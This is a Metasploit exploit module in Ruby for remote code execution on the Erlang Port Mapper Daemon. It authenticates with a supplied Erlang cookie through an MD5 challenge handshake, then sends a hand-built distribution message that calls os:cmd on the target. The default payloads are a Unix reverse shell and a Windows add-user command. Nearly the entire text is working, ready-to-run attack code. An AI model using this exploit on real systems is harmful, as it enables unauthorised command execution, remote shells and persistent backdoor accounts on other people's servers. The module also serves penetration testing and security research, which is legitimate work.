Erlang – Port Mapper Daemon Cookie Remote Code Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super( update_info( info, 'Name' => 'Erlang Port Mapper Daemon Cookie RCE', 'Description' => %q{ The erlang port mapper daemon is used to coordinate distributed erlang instances. Should an attacker get the authentication cookie RCE is trivial. Usually, this cookie is named ".erlang.cookie" and varies on location. }, 'Author' => [ 'Daniel Mende', # blog post article 'Milton Valencia (wetw0rk)', # metasploit module ], 'References' => [ ['URL', 'https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/'] ], 'License' => MSF_LICENSE, 'Platform' => ['unix', 'win'], 'Arch' => ARCH_CMD, 'Privileged' => 'false', 'Targets' => [ [ 'Unix', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'}, ], [ 'Windows', 'Platform' => 'win', 'Arch' => ARCH_CMD, 'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/adduser'}, ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 20, 2009', # https://github.com/erlang/otp/blob/master/lib/kernel/src/os.erl (history) ) ) register_options( [ OptString.new('COOKIE', [ true, 'Erlang cookie to login with']), Opt::RPORT(25672) ]) end def generate_challenge_digest(challenge) challenge = challenge.unpack('H*')[0].to_i(16).to_s hash = Digest::MD5.new hash.update(datastore['COOKIE']) hash.update(challenge) vprint_status("MD5 digest generated: #{hash.hexdigest}") return [hash.hexdigest].pack('H*') end def exploit connect our_node = "#{rand_text_alphanumeric(6..12)}@#{rand_text_alphanumeric(6..12)}" # SEND_NAME: send initial identification of who "we" are send_name = "\x00" # Length: 0x0000 send_name << [(our_node.length+7).to_s(16)].pack('H*') # send_name << "\x6e" # Tag: n send_name << "\x00\x05" # Version: R6 (5) send_name << "\x00\x03\x49\x9c" # Flags (0x0003499c) send_name << "#{our_node}" # <generated>@<generated> # SEND_CHALLENGE_REPLY: return generated digest and its own challenge send_challenge_reply = "\x00\x15" # Length: 21 send_challenge_reply << "\x72" # Tag: r # SEND: send the message to the node send = "\x00\x00\x00" # Length:0x00000000 send << [(0x50 + payload.raw.length + our_node.length*2).to_s(16)].pack('H*') # send << "\x70" # send << "\x83" # VERSION_MAGIC send << "\x68" # SMALL_TUPLE_EXT (104) send << "\x04" # Arity: 4 send << "\x61" # SMALL_INTEGER_EXT send << "\x06" # Int: 6 send << "\x67" # PID_EXT (103) send << "\x64\x00" # Node: send << [(our_node.length).to_s(16)].pack('H*') # Length: strlen(Node) send << "#{our_node}" # Node send << "\x00\x00\x00\x03" # ID send << "\x00\x00\x00\x00" # Serial send << "\x00" # Creation send << "\x64" # InternalSegmentIndex send << "\x00\x00" # Len: 0x0000 send << "\x64" # InternalSegmentIndex send << "\x00\x03" # Length: 3 send << "rex" # AtomText: rex send << "\x83\x68\x02\x67\x64\x00" # send << [(our_node.length).to_s(16)].pack('H*') # Length: strlen(Node) send << "#{our_node}" # Node send << "\x00\x00\x00\x03" # ID send << "\x00\x00\x00\x00" # Serial send << "\x00" # Creation send << "\x68" # SMALL_TUPLE_EXT (104) send << "\x05" # Arity: 5 send << "\x64" # InternalSegmentIndex send << "\x00\x04" # Length: 4 send << "call" # AtomText: call send << "\x64" # InternalSegmentIndex send << "\x00\x02" # Length: 2 send << "os" # AtomText: os send << "\x64" # InternalSegmentIndex send << "\x00\x03" # Length: 3 send << "cmd" # AtomText: cmd send << "\x6c" # LIST_EXT send << "\x00\x00\x00\x01" # Length: 1 send << "\x6b" # Elements: k send << "\x00" # Tail send << [(payload.raw.length).to_s(16)].pack('H*') # strlen(Command) send << payload.raw # Command send << "\x6a" # NIL_EXT send << "\x64" # InternalSegmentIndex send << "\x00\x04" # Length: 4 send << "user" # AtomText: user sock.put(send_name) # recieve servers "SEND_CHALLENGE" token (4 bytes) print_status("Receiving server challenge") challenge = sock.get challenge = challenge[14,4] send_challenge_reply << challenge send_challenge_reply << generate_challenge_digest(challenge) print_status("Sending challenge reply") sock.put(send_challenge_reply) if sock.get.length < 1 fail_with(Failure::UnexpectedReply, "Authentication Failed:#{datastore['COOKIE']}") end print_good("Authentication successful, sending payload") sock.put(send) end end |